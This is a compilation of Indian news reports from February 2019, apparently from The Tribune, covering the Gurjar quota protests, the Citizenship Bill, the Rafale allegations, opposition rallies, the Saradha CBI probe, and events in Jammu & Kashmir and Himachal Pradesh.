Apart from the routes that were blocked till yesterday, agitators laid a blockade in Chaksu town of Jaipur district. No untoward incident has been reported so far. Law and order situation is under control, Director General of Police (Law and Order) ML Lathar said.

The North Western Railway said in a bulletin that three trains were cancelled and two diverted on Tuesday.

Meanwhile, Gurjar leaders have refused to back off from the tracks and roads. We have not received any communication from the state government so far. Dharna will continue, Vijay Bainsla, son of Gurjar leader Kirori Singh Bainsla, said.

Gurjar agitation leader Kirori Bainsla and his supporters began their indefinite sit-in on railway tracks in Malarna Dungar of Sawai Madhopur on Friday evening. Bainsla has stuck to the demand of 5 per sent reservation for the Gurjar, Raika-Rebari, Gadia Luhar, Banjara and Gadaria communities, and has to refused to move from the tracks until the same is met through an official announcement.

A state government delegation, including Tourism Minister Vishvendra Singh and IAS officer Neeraj K Pawan, held talks with protesters on Saturday, but failed to come to an agreement.  PTIROBINSINGH@TRIBUNE.COM

Tribune News Service

New Delhi, February 12

As authorities in Manipur imposed prohibitory orders in two districts for an indefinite period amid continued protests against the Citizenship (Amendment) Bill, the Centre today sought to allay misplaced apprehensions saying various provisions of the Bill have been clarified to political leaders and some Chief Ministers of northeastern states.

The Bill, which was passed in Lok Sabha in the winter session, was listed for discussion and passage in the Rajya Sabha today, but could not be taken up due to continued protest by the Opposition.

In Kolkata, West Bengal Chief Minister Mamata Banerjee questioned the necessity of the Bill, saying the Modi government wanted to insult people who were already citizens of India. Talking to reporters before flying to Delhi, Banerjee said the Bill would force people who were already Indian citizens to apply afresh for citizenship.

Banerjee said under the provisions of the proposed law, anyone interested in invoking it would have to first declare self a foreigner for six years and only then a decision would be taken on grant of citizenship.

In a written reply to the Lok Sabha earlier, Minister of State for Home Kiren Rijiju said several steps had been taken to preserve the cultural, social and linguistic identity, and the heritage of the northeastern people in the Bill.

He said the protests were due to certain misplaced apprehensions over the issue. The minister said the Centre had also apprised representatives of northeastern states of the steps. Political leaders from northeastern states, including some Chief Ministers, have met the Home Minister on various issues related to northeast, including the Citizenship (Amendment) Bill. Various provisions of the Bill have been clarified to them, Rijiju said. Rijijus response came on a question by Asaduddin Owaisi (AIMIM) and V Elumalai (AIADMK).

In Imphal, prohibitory orders under Section 144, CrPC, were imposed in Imphal East and Imphal West last night, officials said. Mobile Internet services were suspended indefinitely.

The Bill seeks to provide citizenship to religious minorities from Bangladesh, Pakistan and Afghanistan after six years of residence in India, instead of 12 years, which is the norm currently, even if they do not possess any document. The indigenous people fear it will endanger their livelihood and identity.pardeepdhull@gmail.com

New Delhi, February 13

Stepping up his attack on Prime Minister Narendra Modi over the Rafale issue, Congress president Rahul Gandhi on Wednesday cited a media report to claim that the PMs argument of better pricing and faster delivery of the jets to defend the deal has been demolished.

His attack came after a report in The Hindu which claimed that the Rafale deal was not on better terms than the UPA-era offer.

The PM defended his personal RAFALE bypass deal on 2 counts: 1. Better Price 2. Faster Delivery. Both have been demolished by the revelations in the Hindu today, he tweeted.

The government has in the past rejected all such allegations and claims against the deal.

Three senior Defence Ministry officials who were the domain experts on the seven-member Indian Negotiating Team (INT) came to a well-substantiated and clear conclusion that the Narendra Modi governments new Rafale deal for 36 flyaway aircraft was not on better terms than the offer made by Dassault Aviation during the procurement process for 126 aircraft under the United Progressive Alliance government, the report in the English daily said.

Citing the report, Congress chief spokesperson Randeep Singh Surjewala said the theft has been caught.

Surjewala highlighted four points citing the reportprice of 36 Rafale jets was 55 per cent higher than the UPA-era offer, loss incurred by not taking 25 per cent discount for Rafale as offered by Eurofighter, bank and sovereign guarantee waived, and no aircraft for 10 years with escalation cost to be paid.

The Congress attack came a day after, Gandhi accused the Prime Minister of treason and violating the Official Secrets Act by acting as Anil Ambanis middleman in the Rafale jet contract, citing an email to claim the businessman was aware of the deal days before India and France finalised it.

The BJP, however, had rejected the charge, saying the email purportedly by an Airbus executive referred to a helicopter deal and not Rafale.

Reliance Defence, in a statement, also refuted Gandhis allegation saying the proposed MoU mentioned in the email referred to its cooperation with Airbus Helicopter. PTIshalender@tribune.com

Tribune News Service

New Delhi, February 12

The Ministry of Defence on Tuesday asked Indian and foreign companies to submit an expression of interest to make specialised naval copters. Called the naval utility helicopters (NUH), the MoD wants 111 of these.

The MoD has asked foreign companies and also potential Indian companies which will be their strategic partners to submit bids or expression of interest (EoI).

The new ones will replace Chetak helicopters and will be utilised for search and rescue, casualty evacuation, light maritime operations, passenger roles and also dropping torpedo.

Out these 111 copters, 95 will be manufactured in India by the selected strategic partner. The case was approved by the Defence Acquisition Council (DAC). The project worth Rs 21,738 crore is likely to provide a Make in India initiative and fillip to manufacturing capability for helicopters in India.

At present, Hindustan Aeronautics Limited (HAL is the only company producing copters. The request for EoI from Indian private companies for participating in the project has been hosted on the MoD website. The foreign manufacturers have been mandated to set up dedicated manufacturing line, including design, integration and manufacturing processes, for NUH in India.

Prospective biddersrchopra@tribunemail.com

Shillong, February 13

Kolkata Police Commissioner Rajeev Kumar appeared before the CBI here for the fifth consecutive day on Wednesday to face questioning in connection with the chit fund scam cases, an official said.

Kumar, who is being examined since Saturday for his alleged role in tampering of evidence in the Saradha ponzi scam, arrived shortly after 9.30 am at the CBI office, he said.

He was accompanied by two senior IPS officers and his counsel Biswajit Deb, the official told PTI.

The Kolkata Police chief had already spent more than 30 hours over the past four days inside the highly-secured CBI office here, facing questions relating to Saradha and Rose Valley chit fund scam cases, he added.

On Tuesday, an unidentified masked man was called in the afternoon at the CBI office. The man came out shortly after Kumar left the premises, giving headway to massive speculations about his identity.

Former Trinamool Congress MP Kunal Ghosh was also grilled by the CBI on the second and the third day, along with Kumar.

The ex-MP was arrested in 2013 in the Saradha scam and has been out on bail since 2016.

The questioning of Ghosh is over for the time being and he was allowed to return to Kolkata, a CBI official said on Tuesday.

The Supreme Court had directed Kumar to appear before the CBI and faithfully cooperate in the investigation of cases arising out of the Saradha chit fund scam. PTIamansharma@tribunemail.com

Smita Sharma

Tribune News Service

New Delhi, February 13

On the last day of the last parliamentary session before the country faces general elections, West Bengal Chief Minister Mamata Banerjee on Wednesday challenged Prime Minister Narendra Modi and the ruling BJP in the national capital.

The Trinamool Congress (TMC) supremo lashed out at the government alleging it of misusing investigative agencies to crack down against political opposition.

Alleging that the situation in the country is 'worse than Emergency', Banerjee said democracy today has been replaced by 'Namocracy'.

"We are not afraid, we are not cowards, we are fighters. Will you murder us or unleash your agencies at us? We want to see how many jails are there?" thundered Banerjee at an opposition 'Save The Democracy' rally in Jantar Mantar hours after the Congress led by Rahul Gandhi held protests outside parliament on the Rafale issue.

The rally organised by AAP Supreme and Delhi CM Arvind Kejriwal, including Andhra CM and TDP Leader Chandrababu Naidu, NCP chief Sharad Pawar, NC leader Farooq Abdullah, disgruntled BJP MP Shatrughan Sinha, RLD's Trilok Tyagi , SP's Ram Gopal Yadav, Kanimozhi along with TMC , RJD and other leaders, raised slogans of 'Modi hatao, desh bachaho'(Remove Modi to Save the nation).

Later, Opposition leaders met at Sharad Pawar's house. They were also joined by Congress president Rahul Gandhi. "We have all agreed that we are going to have a common minimum programme and we will all work together to defeat the BJP," Rahul Gandhi after a meeting with opposition leaders at Pawars house.

"Everyone is afraid of Gabbar Singh. There are two of them -- (Prime Minister Narendra) Modi and (BJP chief Amit) Shah," said Mamata Banerjee, adding that the country wants freedom from 'dictatorship'.

Banerjee also raked up the recent CBI versus Kolkata Police Commissioner row quipping that if she will cook herself for CBI officials sent by Centre to her state.

She claimed that the TMC would win all the 42 Lok Sabha seats in the state which has become a prestige battle for the BJP top brass. She added that despite her party's sharp differences in the state with the Left, the arch nemesis will fight together at the centre to dislodge the NDA.

Joining forces with Banerjee, Shatrughan Sinha questioned claims of Modi wave citing Punjab Assembly results and added that it did not play any role in his own poll victory. He also called on PM Modi to answer questions raised on the Rafale deal instead of the defence minister responding to allegations.

Meanwhile, raising revelations on Rafale deal made by The Hindu, Kejriwal said, "When you got to vote this time keep your country above your party. If you vote for Modi and Shah then the country will lose."amansharma@tribunemail.com

Tribune News Service

New Delhi, February 13

The opposition on Wednesday laid out its first strategy to take on the BJP in the upcoming Lok Sabha elections with top leaders agreeing on possibilities of a pre-poll alliance and a pre-poll common minimum programme to win over the voters.

After a meeting of opposition representatives at the residence of NCP chief Sharad Pawar this evening, Congress president Rahul Gandhi said talks around a common minimum programme were now beginning.

"It's simple. The target for all of us is to fight the assault on Indian institutions being carried out by Mr Narendra Modi and the BJP and the RSS. We have all agreed that we are going to start a conversation about common minimum programme. We are going to put together the pieces and that conversation is now beginning. We have a commitment that we are all going to work together to defeat the BJP," he said.

TMC chief and West Bengal Chief Minister Mamata Banerjee who attended the meeting said the opposition meeting was fruitful and there will be pre poll alliances against the BJP.

Mamata favours state-level dominant anti-BJP pacts to minimise the division of anti-BJP votes, something the Congress has also endorsed.

"We will have a pre-poll alliance," Mamata said.

AAP convener didn't divulge details of talks but said the discussions were good.

"Talks were constructive and we will work together," Delhi CM Arvind Kejriwal said.pardeepdhull@gmail.com

New Delhi, February 13

The contentious Citizenship (amendment) Bill and the one on banning triple talaq are set to lapse on June 3 when the term of the present Lok Sabha ends as they could not be passed in the Rajya Sabha which adjourned sine die on Wednesday.

The Budget session was the last Parliament session of the present government.

The 17th Lok Sabha has to be constituted before June 3. The Lok Sabha polls are due this summer.

Bills introduced in the Rajya Sabha and pending there do not lapse with the dissolution of the Lok Sabha. But Bills passed by the Lok Sabha and pending in the Rajya Sabha lapse.

The Opposition had been opposing provisions of the two Bills in the Rajya Sabha where the government lacks numbers.

The Citizenship (Amendment) Bill, 2019, provides for according Indian citizenship to Hindus, Jains, Christians, Sikhs, Buddhists and Parsis from Bangladesh, Pakistan and Afghanistan after seven years of residence in India instead of 12 years, which is the norm currently, even if they do not possess any document.

The legislation was passed by the Lok Sabha during the Winter Session on January 8 and has been awaiting the Rajya Sabhas nod.

There has been strong opposition to the Bill in Assam and other Northeastern states.

Student organisations, political parties and socio-cultural bodies have been protesting on the grounds that it seeks to grant nationality to non-Muslims who have come into India up to December 31, 2014, thereby increasing the deadline from 1971 as per the Assam Accord.

Also, according to the Assam Accord, all illegal immigrants who have come after 1971, irrespective of their religion, have to be deported and this Bill violates that.

Two BJP chief ministers of the NortheastArunachal Pradeshs Pema Khandu and Manipurs N Biren Dinghhave also voiced their opposition to the contentious Bill.

Prime Minister Narendra Modi announced that the Bill is an atonement of the wrong that was done during Indias Partition. India will safeguard all who had been victims of the Partition.

On Saturday, addressing a rally in Assam, Modi said the Citizenship Bill wont harm the interests of the people of the region but will provide succour to those who have embraced the idea and ethos of Mother India.

The Muslim Women (Protection of Rights on Marriage) Bill, which makes the practice of instant triple talaq (talaq-e-biddat) a penal offence, is being opposed by Opposition parties which claim that jail term for the husband for divorcing his wife is legally untenable.

The government has promulgated the ordinance on triple talaq twice.

Under the Muslim Women (Protection of Rights on Marriage) Ordinance, 2019, divorcing through instant triple talaq will be illegal, void and would attract a jail term of three years for the husband.

A Bill to convert the earlier ordinance, issued in September 2018, was cleared by the Lok Sabha in December and was pending in the Rajya Sabha. Since the Bill could not get parliamentary approval, a fresh ordinance was issued.

Seeking to allay fears that the proposed law could be misused, the government has included certain safeguards in it such as adding a provision of bail for the accused before trial.

These amendments were cleared by the Cabinet on August 29, 2018.

While the ordinance makes it a non-bailable offence, an accused can approach a magistrate even before trial to seek bail.

In a non-bailable offence, bail cannot be granted by police at the police station itself.

A provision has been added to allow the magistrate to grant bail after hearing the wife, the government had said. PTIamansharma@tribunemail.com

Shiv Kumar

Tribune News Service

Mumbai, February 13

Raju Narayan Todsam, the BJP MLA who represents Arni in Maharashtras Yavatmal district, was on Tuesday night beaten up by his mother and wife at his birthday celebrations where he showed up with his second wife.

Police said Todsam and his second wife Priya Shinde Todsam were accosted at the road show organised by his supporters to celebrate his birthday on Tuesday night. The MLAs first wife Archana and his mother came with several members of the public and attacked Priya in the vehicle they were travelling. When Todsam sought to intervene, he was also soundly thrashed by the two women and their supporters.

Video clips of the incident doing the rounds on social media show Archana and her mother-in-law pulling the other womans hair and scratching her. The victim was seen pleading for mercy after being punched and kicked.

Though the police booked the MLA, his mother and his two wives for unruly conduct they decided not to file charges against each other. According to party sources, the MLA agreed to provide for the upkeep of his wife and two children.

Sections of the BJP in Yavatmal have extended support to Archana who is a tribal school teacher.

BJP leaders in Mumbai said they took a grim view of Todsams conduct. He is unlikely to share the dais with Prime Minister Narendra Modi who is due to participate in an event in the area on Saturday.

Todsam has a controversial past. Two years ago, he was caught on tape trying to extort money from a contractor. BJP leaders had then said that he would not be given a ticket in the 2019 assembly elections.ROBINSINGH@TRIBUNE.COM

Sandeep Dixit

Tribune News Service

New Delhi, February 12

The story of 2014 elections in the Hindi heartland where the BJP swept the board went according to the script in Uttarakhand as well. The BJP handsomely won all the five seats in Uttarakhand, most of them by margins of about one lakh votes, considered decisive and substantial in hill states with low population density.

In Uttarakhand, the script for a Congress washout was written a couple of years earlier when two of its winners of the 2009 Lok Sabha elections crossed over to the BJP. Both enjoyed popular support Vijay Bahuguna was a former Congress CM who nearly pulled down his party colleague Harish Rawats government till the Supreme Court set matters right. The other, Satpal Maharaj, is a seer-politician and considered influential in part of Garhwal.

The seeds of trouble were sown because in 2012, the Congress had stitched a government with the help of defections and Independents. A barely-surviving government was ripe for destablisation and the advent of Modi at the Centre accelerated the exodus from the Congress.

There have been murmurs about the ability of the current BJP government, with a rock-solid majority, to deliver on the promises. But the gloss eroded with allegations of influence peddling by the Chief Ministers family. The spin on good governance came unstuck after the hooch tragedy that claimed 80 lives, many of them in Dalit villages of Hardwar. This could spell trouble for the BJP, especially in view of the SP-BSP alliance in neighbouring UP. While the BJP and the Congress have intermittently won the Hardwar seat, the SP-BSP have emerged runners-up in seven out of the last eight Lok Sabha elections.

Of the other two seats in Garhwal region  where the BJP had a strike rate of over 90 per cent in the Assembly elections  the BJP seems to sit pretty in Tehri after inveigling the royal family to its side. The crossing over of Vijay Bahuguna who had defeated the former King twice has helped the BJP politically consolidate its position. The third seat, Garhwal, might remain with the BJP, especially because the two candidates who won the seat seven out of last eight times are in the same party.

If odds favour the BJP in two of the three Garhwal seats with an upper hand so far in Hardwar, the recent civic polls have been an eye-opener. The two Lok Sabha seats in Kumaon do not look invincible anymore. In Kumaon, the BJP bagged the Mayors post only in one large townPithoragarhand lost Almora, Nainital and Haldwani to the Congress besides several other towns to Independents. In all, the BJP won only 34 out of 84 Mayor posts and the Congress was not too far behind at 25. Of the 1,000-odd wards, the BJP won less than one-third. The default option however was not the Congress but Independents who picked up half the seats.

If the trend sustains, the Congress is in with a clear chance on two seats but remains the underdog on the remaining three Uttarakhand seats.ROBINSINGH@TRIBUNE.COM

Tribune News Service

Lucknow, February 12

Former Uttar Pradesh Chief Minister and Samajwadi Party president Akhilesh Yadav was on Tuesday prevented from boarding a flight to attend an event organised by the Students Union at Allahabad University, triggering a political storm.

Yadav had to board a flight here but was stopped by ADM East Vaishav Mishra. When the Samajwadi Party leader asked for a written order, Mishra tried to physically prevent him and Yadavs security had to intervene. A fuming Akhilesh, who returned the party headquarters after being detained at the airport for some time, alleged that the Centre was involved in preventing him from flying, adding that it was beyond the powers of the state government to stop a plane.

He said he had no criminal record, but Chief Minister Yogi Adityanath had stopped him from going to Allahabad alleging that his (Yadavs) visit would spark a law and order problem. The SP leader showed Yogis EC affidavit to show the number of criminal cases pending against Yogi, including that of instigating riots. Here is a CM who had used his own government to deny permission to proceed in the criminal cases against him, Yadav alleged.

He said the BJP was scared of youth power and the support that the Samajwadi Party enjoys among the students. The former CM said during his visit, he was also scheduled to meet Akhara Parishad president Maharaj Narendra Gir who had invited him for lunch. He said a written schedule of his programme was sent to the Prayagraj administration as early as on December 27 and another one on February 2.

The issue rocked the Rajya Sabha as SP and other Opposition parties protested over the incident, disrupting the proceedings of the House. The matter also caused uproar in both Houses of the Uttar Pradesh legislature.

As the news spread, scores of Samajwadi Party workers and leaders rushed to the airport and raised anti-government slogans. Samajwadi Party MP Dharmendra Yadav, along with hundreds of supporters, sat on a dharna near the Mahatma Gandhi statue in Prayagraj. The SP student wings workers who protested in Prayagraj were baton-charged by the police. Dharmendra Yadav was among the 100 injured in clashes with the police.

Protests also broke out in Lucknow, Etawah, Rae Bareli, Gorakhpur and Kanpur, and other places, where SP supporters smashed windscreens of vehicles and clashed with the police.

Party MLAs gheraoed Raj Bhawan in Lucknow, seeking a meeting with the Governor to apprise him of Emergency-like situation. They have been given an appointment for tomorrow as the Governor was not in the town.

Earlier, Chief Minister Yogi Adityanath said, The Allahabad University authorities had informed the district administration that if Akhilesh Yadav visited the campus, the factional fighting of students could cause a law and order problem. They feared that there could be major arson and damage to university property. That is why they had requested the administration to prevent him from coming and spreading lawlessness which is party is known for.

Coming out in support of Akhilesh Yadav, Delhi Chief Minister Arvind Kejriwal tweeted, Spoke to Akhilesh ji. We strongly condemn BJP's conduct. That is yet another example of BJP's dictatorial attitude.

(with agency inputs)

Is the BJP govt at the Centre and in UP so afraid of the BSP-SP alliance that it is resorting to anti-democratic methods to curb our political activities. This is unfortunate and undemocratic step and will be fought at all levels.  Mayawati, BSP Supremo

We condemn the arrogant attitude of the so-called #BJP leaders who didnt allow Akhilesh to address the students. Where is the democracy in our country? And they are giving lessons to everybody!  Mamata Banerjee, TMC Chiefshalender@tribune.com

Satya Prakash

Tribune News Service

New Delhi, February 12

The Supreme Court today referred to a seven-judge Constitution Bench the issue of minority status for Aligarh Muslim University (AMU)  three years after the NDA government sought to withdraw the Centres appeal against an Allahabad HC verdict that it was not a minority institution.

A three-judge Bench, headed by Chief Justice Ranjan Gogoi and comprising Justices L Nageswara Rao and Sanjiv Khanna, agreed with the submission of the AMU that the correctness of the 2006 judgment of the Allahabad HC, by which the minority tag to the university was taken away, needed to be examined.

On behalf of AMU, senior counsel Rajeev Dhavan contended the constitutional issues involved were important as the top court in its seven-judge Bench verdict in the TMA Pai case in 2002 did not clarify as to what should be the requirement for establishing a minority institution. There was a need to examine it, he said. The AMU and the then UPA government had challenged the 2006 Allahabad HC verdict in the SC.

The BJP-led NDA government had in 2016 told the SC that it would withdraw the appeal filed by its predecessor government as the previous stand was wrong.

It said a five-judge Constitution Bench in 1968 in the Aziz Basha case had held that AMU was a central university and not a minority institution. It maintained that AMU was not a minority institution as it was set up by the government and not Muslims.

After the 1968 verdict, the AMU (Amendment) Act, 1972, and thereafter 1981 came into force. The Allahabad HC had in January 2006 struck down the provision of the 1981 amendment Act by which the university was accorded the minority status.

Dhavan said there was contradiction in the Aziz Basha judgment by the five-judge Bench as it said that minority institution can be established but if it is established by a statute it cannot be given a tag of minority institution.

Further, he said the issue needs to be examined in the backdrop of the fact that the National Commission for Minority Educational Institutions has been established by the government to protect and safeguard the educational institutions which are established by the religious minorities.

if declared minority institution...

Take Five - This is your final free article during this 30 day period. Stay in touch with all of the news.

Sign up today for complete digital access to The Daily News-Record.editorial@tribune.com

Jammu, February 12

Students of all colleges in the Jammu region on Tuesday boycotted classes to protest against the raising of anti-national slogans by some miscreants among stranded Kashmir-bound passengers here on Monday.

Classwork in most of the colleges across the region was affected badly as the students continued their protest for the second day on Tuesday. They were protesting against the administration's inaction against the miscreants among the stranded passengers who raised Pakistan zindabad slogans near GGM Science College in Jammu on Monday.

The attendance in different colleges of the winter capital remained thin as a large number of students boycotted the classes and reached GGM Science College, where they protested against the raising of anti-India slogans and police lathicharge on students.

The vehicular movement on the ever-busy Canal road too remained affected for more than two hours as the protesting students blocked it, demanding a strict action against those involved in the incident.

Students of degree colleges in Rajouri, Samba and Kathua districts also boycotted classes in support of the protest.

Meanwhile, the Jammu Joint Students Federation announced to boycott the classes till Friday. We will continue to boycott the classes till Friday. If the administration fails to arrest all those involved in raising pro-Pakistani slogans besides taking strict action against the police for the lathicharge incident, we shall intensify our campaign, a spokesperson of the federation said.

JU exams cancelled

Examinations of various departments of the University of Jammu that were slated to be held on Tuesday were cancelled due to the protest by the ABVP activists at the main gate of the JU. The road outside the university was also blocked for more than an hour, wherein a scuffle broke out between the students and cops deployed there.  TNSeditorial@tribune.com

Tribune News Service

Jammu, February 12

After Mondays ugly incident here, the civil administration and the police on Tuesday stopped the registration process of the stranded passengers in the winter capital, leaving many people high and dry.

No sortie was arranged today for the stranded passengers, with the administration trying to open the Jammu-Srinagar national highway, which was partially opened to vehicles stuck on the highway.

In the past two days 893 people, including GATE aspirants, students and women, were air-lifted from Jammu to Srinagar in C-17 Globemaster of the Indian Air Force (IAF), but today no sortie was arranged. People kept waiting for a message from the civil administration as the only registration counter at the Mufti hostel near GGM Science College was closed after yesterdays incident at the place.

The situation became tense after some miscreants among the protesting stranded passengers yesterday allegedly raised pro-Pakistan and anti-India slogans. Reacting to this, some students of GGM Science College threw stones at stranded passengers in the Mufti hostel. The police had to cane-charge the students in which a few students received minor injuries.

This morning, SSP, Jammu, sent a message that the registration had been stopped and people should stay wherever they were. There is no registration anywhere for stranded passengers. Please inform people to stay where they are and not to go anywhere and put them to inconvenience. Many people are coming towards Bathindi where we have kept stranded passengers and people are being told to stay at their respective locations, Tejinder Singh, SSP, Jammu, said.

Meanwhile, the Jammu-Srinagar national highway was thrown open partially and 250 light motor vehicles stranded on the highway and 300 oil tankers were allowed to proceed towards Srinagar. But the slides at Marog in Ramban district and shooting stones in the Panthal area have kept the administration on its toes.

Divisional Commissioner Jammu Sanjeev Verma told The Tribune that the highway had been opened partially, but no sortie was arranged today. We are aware of the weather forecast and any further decision will be taken accordingly, he said.

When asked how many people were stranded in Jammu, Verma replied, We have sent back almost all stranded passengers, and those people, who claim to be stranded, are either relatives of Durbar move employees who had come to Jammu earlier or have come from Delhi or other places.

Langar organised

Since hundreds of Kashmir-bound passengers are stranded in the winter capital due to the closure of the Jammu-Srinagar national highway, social bodies and political leaders came to their rescue and organised langar for them. The Sikh community offered free food to the stranded passengers. National Conference provincial president Devender Rana also distributed food among passengers at the bus stand.editorial@tribune.com

Tribune News Service

Srinagar, February 12

Grand mufti Bashiruddin Ahmad (82) passed away on Tuesday after he was hospitalised on Monday evening.

His namaz-e-janaza was performed at Khanqah-e-Moula in old city on the banks of the Jhelum in the afternoon. He was later buried at the ancestral Wazpora graveyard in Rajouri Kadal.

The demise of Ahmad, who remained the grand mufti of the state for over 30 years, was widely condoled.

Sad to learn about the passing away of Mufti Bashiruddin saheb. In him, Kashmir lost a respected religious scholar and thoughtful leader. Allah Maghfirat karey. I stand in solidarity with the family and followers of Mufti saheb, PDP president Mehbooba Mufti said.

National Conference vice-president Omar Abdullah also expressed grief. My condolences to the family at this time of great personal loss, he tweeted.

J&K Pradesh Congress Committee president GA Mir described him as an illustrious son of soil, who had contributed immensely to religious education.

CPM leader Mohammad Yousuf Tarigami said Mufti Bashiruddin was a social and religious leader and in his death, Kashmir had lost a great human being.

Hurriyat leader Mirwaiz Umar Farooq also expressed sorrow over the demise of the grand mufti, saying people would always remember his service in the field of Islamic jurisprudence and his contribution in social and political sphere of the Kashmir valley.

Ahmads son Nasirul Islam is likely to succeed his father as the grand mufti.editorial@tribune.com

Dinesh Manhotra & Amit Khajuria

Tribune News Service

Jammu, February 12

Uncertainty prevails over simultaneous Lok Sabha and Assembly elections in J&K as BJP leaders are giving confusing and conflicting statements on the timing of the state polls.

BJPs national general secretary Ram Madhav on Tuesday further added to the confusion on the timing of the Assembly elections. There are chances of Assembly elections in J&K along with the Lok Sabha polls, Madhav said while kick-starting the Mera Parivar, Bajpa Parivar programme.

Concluding his 10-minute speech, Madhav said the Assembly elections in J&K may be held after or before Lok Sabha polls.

On January 20, Madhav had asserted that the BJP was ready for simultaneous elections in J&K but the local BJP leadership was divided over holding the both elections at the same time.

Exhorting party workers to work assiduously, he said, after the formation of the PDP-BJP coalition in J&K, a jinx has been removed that the BJP will never become part of any government in the state. The BJPs point-man in the state took credit for giving the divisional status to the Ladakh region. Our former state ministers tried their best to address grievances of the people of Ladakh but could not do so due to some compulsions, he clarified, adding, In Governors rule, the long-pending demand of the residents of Ladakh has been fulfilled.

In his address, state BJP president Ravinder Raina called upon workers to dedicate themselves to ensure victory of the party in the upcoming Lok Sabha elections. Raina emphasised only on the parliamentary elections while announcing various programmes.

Dalit leader of PDP joins BJP

Prominent PDP leader and former vice-chairperson of the Advisory Board for the Scheduled Castes Bhushan Dogra joined the BJP today. A Dalit face of the PDP, Dogra was the runner-up from the border Assembly segment of RS Pura of Jammu district in the 2014 Assembly polls. During the last one month, the BJP has inducted four MLAs into the party fold. Those who have joined the BJP included Pawan Gupta from Udhampur, Baldev Sharma from Reasi, Garu Ram Bhagat from RS Pura and Jagdish Sapolia from Basholi.

20 corporators join PDP

Twenty corporators of the municipal corporation joined the Peoples Democratic Party (PDP) in Srinagar on Tuesday. Welcoming them into the party fold, PDP vice-president Abdul Rahman Veeri termed their entry as a positive step towards strengthening of the party at the grass-roots level.

Madhav flays Rahul

Hours after Congress president Rahul Gandhi accused Prime Minister Narendra Modi of treason, BJP national general secretary Ram Madhav charged the Congress leader with demonising constitutional institutions of the country for petty political gains. He hit back at Rahul for rejecting the report of the Comptroller and Auditor General on the Rafale issue.uttara@tribuneindia.com

Srinagar/Anantnag, February 13

At least 16 Class X students were injured in a mysterious explosion inside a classroom at a private school in south Kashmirs Pulwama district today.

Pulwama SSP Chandan Kohli said the explosion occurred at Falah-e-Millat school in Kakapora and its cause could not be ascertained immediately.

Sources said though all the injured were in a stable condition, seven of them had been referred to Srinagar.

A teacher accompanying the injured to a Srinagar hospital said 37 students were present in the class when the explosion took place. There was a deafening sound and then the wailing of students. We all rushed to the class and saw the students lying wounded, he said.

The school, as per police reports, was holding special classes even as most institutes in Kashmir valley remain officially shut during the winter season.

The explosion comes a day after a gunfight in nearby Ratnipora village where a militant and a soldier had died.

Following the blast, the police carried out preliminary investigation. We are yet to get a clear picture. Details will be shared as and when something concrete emerges, the SSP said.  TNS

Probe team attacked

The police team that visited the school for investigation was pelted with stones while its members were leaving the area. The police had to use teargas shells to disperse the stone-pelting crowd.editorial@tribune.com

Tribune News Service

Shimla, February 12

Chief Minister Jai Ram Thakur today said stern action would be taken against anyone creating law and order problem in the border areas, where people from other states were involved in crime.

The Chief Minister made a statement in the Vidhan Sabha on the clashes that took place in Parwanoo between rival factions of truck unions. He said during police investigation, it had been noticed that a majority of those involved in the clashes were from outside the state.

Himachal is a peaceful state and is known as Devbhoomi. We will not allow anyone to vitiate the peaceful atmosphere, he said. He said action would be taken against the guilty.

Thakur said a case had been registered by the police on a complaint filed by Pawan Kumar, who is an employee of the Hardeep Bawa group. The complaint had said he was stopped by three persons and later one of them fired in the ground.

The CM said later Hardeep, along with his supporters, blocked traffic on Kasauli Chowk in Parwanoo. On being asked to lift the blockade, Hardeep said he would do so only after the culprits were arrested. Later, about 50 supporters of the rival faction, equipped with swords, sticks and stones attacked them.

Superintendent of Police, Solan, visited the spot and brought the situation under control. Three persons Pramod Sharma, Ghan Shyam and Sher Singh have been arrested and adequate police deployment has been made to keep the law and order situation under control, he said.monicakchauhan@gmail.com

Dipender Manta

Tribune News Service

Manali, February 13

A major fire broke out on Tuesday in Dhakpo Shedrupling Monastery located at Kais village of Kullu.

A fire brigade and a team of district administration from Kullu has rushed to the spot. The fire spread fast as the entire monastery is made up of wood.

At a distance of 10 km from Kullu bus stand, Dhakpo Shedrupling Monastery is also known as Kais monastery.



This monastery was inaugurated by the Dalai Lama in 2005. More details are awaited.editorial@tribune.com

Tribune News Service

Shimla, February 12

The debate on the budget proposals for the year 2019-20 in the Vidhan Sabha today witnessed blame game on the issue of fiscal mismanagement between the ruling and Opposition members who, in one voice, stressed the need for resource mobilization.

BJP legislator Rakesh Pathania took on the Congress for accusing the BJP regime of raising loans to run the government. Each time Congress came to power, the state debt trap only went up. The figure was Rs 13,209 crore in 2003, Rs 19,790 crore in 2007, Rs 26,494 crore in 2011 and Rs 47,909 crore in 2017, he said.

Lauding the financial reforms that the Chief Minister had tried to bring in he said it was for the first time that the opinion of the legislators had been taken in the budget formulation.

It is Congress which is responsible for burdening the state under Rs 50,000 crore debt trap. It is high time that we try to generate resources by tapping the immense tourism potential we have, he said.

Participating in the debate Congress legislator Jagat Singh Negi said the budget had disappointed every section of society as it had very little to offer to women, youth, weaker sections, SC/STs and farmers. The figure of unemployed in the state has crossed none lakh besides another four lakh who are not registered in any employment exchange. How bright can the future of a state be when one fourth of its educated youth force is jobless, said Negi. He also accused the CM and the concerned ministers of concentrating funds and development schemes in their respective areas which only defeated the motto of sabka saath- sabha vikaas.

Congress legislator Harshwardhan Chauhan said the pace at which the BJP regime was raising loans, the debt trap would touch a whopping Rs 75,000 crore. No effort is being made to cut down wasteful expenditure or on resource mobilisation and once the Centre stops funding after the GST, the state will plunge into the worst-ever financial crisis, he warned.

He said no efforts had been made to improve tourism infrastructure which had resulted in a sharp decline in tourist arrivals. With Shimla facing the worst-ever water shortage and pathetic condition of the Parwanoo-Shimla highway, the state witnessed a steep fall in arrivals which has hit the economy further, he said.

Participating in the debate Narender Bragta lauded the pro-poor budget which has taken care of the poorest of poor. The manner in which the Chief Minister has tried to give relief to the widows, destitute women and families having a member with a chronic ailment is very appreciable, he said.

Others who participated in the debate included Inder Singh, Vinay Kumar, Vikram Jaryal, Hoshiyar Singh, Narender Thakur and Mohan Lal Brakta.editorial@tribune.com

Shimla, February 12

Chief Minister Jai Ram Thakur today said the Vidhan Sabha was the first hi-tech paperless Assembly.

He was addressing participants of the 34th International Training Programme in Legislative Drafting and Officers of the Lok Sabha here. The Bureau of Parliamentary Studies and Training is organising the programme under the Indian Technical and Economic Cooperation, in which 43 representatives from 27 countries are participating.

The Himachal Assembly is a role model for others who are replicating our e-Vidhan model where the entire functioning is done online, he said.

